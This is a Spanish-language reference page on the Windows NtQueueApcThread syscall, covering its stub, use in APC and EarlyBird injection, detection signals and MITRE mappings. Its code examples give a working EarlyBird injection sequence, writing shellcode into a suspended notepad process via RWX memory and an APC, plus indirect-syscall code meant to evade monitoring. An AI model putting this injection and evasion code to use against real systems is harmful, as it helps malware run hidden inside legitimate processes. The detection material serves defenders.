NtQueueApcThread

Prototipo

NTSTATUS NtQueueApcThread(
  HANDLE          ThreadHandle,
  PIO_APC_ROUTINE ApcRoutine,
  PVOID           ApcArgument1,
  PVOID           ApcArgument2,
  PVOID           ApcArgument3
);

Argumentos

IDs de syscalls por versión de Windows

Stub del syscall

4C 8B D1            mov r10, rcx
B8 45 00 00 00      mov eax, 0x45
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Notas no documentadas

Encola un APC de usuario regular en el hilo objetivo. La SSN `0x45` es estable en cada build Win10/11 lanzada. Un APC de usuario en cola solo se dispara cuando el hilo objetivo entra en una espera *alertable* (`SleepEx(... TRUE)`, `WaitForSingleObjectEx(... TRUE)`, `MsgWaitForMultipleObjectsEx`, idles del bucle de mensajes GUI). Si el hilo nunca se vuelve alertable, el APC permanece en cola indefinidamente — por eso se introdujo `NtQueueApcThreadEx` con `QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC` (Win10 1809+) que fuerza el disparo. La inyección EarlyBird elude el requisito de alertabilidad apuntando a un hilo recién creado y suspendido que aún no ha ejecutado su primera instrucción.

Uso común por malware

Dos sabores principales abusan de esto. (1) Inyección APC remota clásica: abrir un hilo objetivo, encolar un APC apuntando a `LoadLibraryA` o directamente a shellcode en `ApcArgument1`, esperar a que dispare. (2) EarlyBird: crear un proceso benigno suspendido, encolar el APC en el hilo primario antes de que se ejecute el loader, reanudar — el APC dispara cuando el loader llega a su primer wait alertable en `ntdll!LdrpInitializeProcess`. Usado por Lazarus (BISTROMATH), FIN7/Carbanak, Finfisher, la combinación original APC+Atombombing y los BOF `AddressOfPage` de Cobalt Strike.

Oportunidades de detección

No hay un evento Sysmon dedicado. ETW Threat Intelligence emite `EtwTiLogQueueApcThread` para APCs de usuario encolados entre procesos — es la señal principal del kernel y lo que la mayoría de los EDR consumen. El callback `PsSetCreateThreadNotifyRoutine` solo dispara en la creación del hilo, no en el encolado del APC, así que EarlyBird se detecta por la *combinación* `CreateProcess(SUSPENDED)` + `NtQueueApcThread` + `NtResumeThread` desde un padre que no sea debugger. La telemetría de stack-walk en la entrega del APC es el patrón oro: si la cadena de retorno solo muestra frames de ntdll con una rutina APC en memoria privada, es inyección con alta confianza.

Ejemplos de syscalls directos

; Direct syscall stub for NtQueueApcThread (SSN 0x45, stable across all Win10/11)
NtQueueApcThread PROC
    mov  r10, rcx          ; syscall convention
    mov  eax, 45h          ; SSN
    syscall
    ret
NtQueueApcThread ENDP

// Spawn target suspended, write shellcode, queue APC, resume.
STARTUPINFOA si = { .cb = sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL,
               FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

SIZE_T size = shellcode_len;
PVOID  remote = NULL;
NtAllocateVirtualMemory(pi.hProcess, &remote, 0, &size,
                        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
NtWriteVirtualMemory(pi.hProcess, remote, shellcode, shellcode_len, NULL);

// APC fires inside ntdll!LdrpInitializeProcess's first alertable wait.
NtQueueApcThread(pi.hThread, (PIO_APC_ROUTINE)remote, NULL, NULL, NULL);
NtResumeThread(pi.hThread, NULL);

// Resolve SSN dynamically; even though 0x45 is stable, indirect syscalls hide it.
DWORD ssn = GetSyscallNumber(GetProcAddress(GetModuleHandleA("ntdll.dll"),
                                            "NtQueueApcThread"));
set_ssn(ssn);
indirect_syscall_invoke(/* hThread, remote_shellcode, NULL, NULL, NULL */);

Mapeos MITRE ATT&CK

• T1055.004Asynchronous Procedure Callmitre ↗
• T1055Process Injectionmitre ↗
• T1106Native APImitre ↗